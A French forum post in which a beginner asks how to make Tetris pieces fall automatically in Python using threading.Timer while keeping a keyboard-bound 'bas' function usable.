Inscription : 14-07-2013
Messages : 43

Re : [PYTHON] Importation de module

Bonjour à tous, bon ça avance un peu :

Tetris.rar

Toutes les pièces se déplacent, tournent, se bloquent... Et l'affichage de la prochaine pièce est faite.
Maintenant, je compte m'attaquer à la chute de la pièce, automatique.
J'ai réalisé ce morceau de code :

from threading import *
def fall():
    t = Timer(0.75, fall)
    t.start()
    print ("Une pièce tombe toutes les 0.75 secondes")
fall()

Quand on l'exécute, ma phrase s'affiche toutes les 0.75 comme prévu, et l'opération se répète grâce à la récursivité de la fonction.
Par contre, pour coupler ça à mon Tetris déjà existant, c'est plus la même ^^

J'aimerai qu'au bout du délai, ce soit ma fonction "bas" qui soit appelée. Or ma fonction "bas" est associée à une touche du clavier et ressemble donc à :

def bas(evt)
...

Et non vu qu'il y a le "evt", je ne peux pas l'appeler...
Une idée ?
Merci smile

EDIT : Lueur d'esprit.. j'ai juste dégagé le (evt), enlevé le bind de la touche et ça roule !
Par contre quand je stop le programme j'ai des erreur en boucle... Je vais essayer de corriger ça !

EDIT 2 : Du coup j'ai perdu l'utilisation de ma touche bas.. Y aurait-il un moyen de coupler les deux, à part en faisant un copié collé de la fonction et donc en rallongeant le code ?

Dernière modification par xReZo (12-03-2014 15:13:56)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.029 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]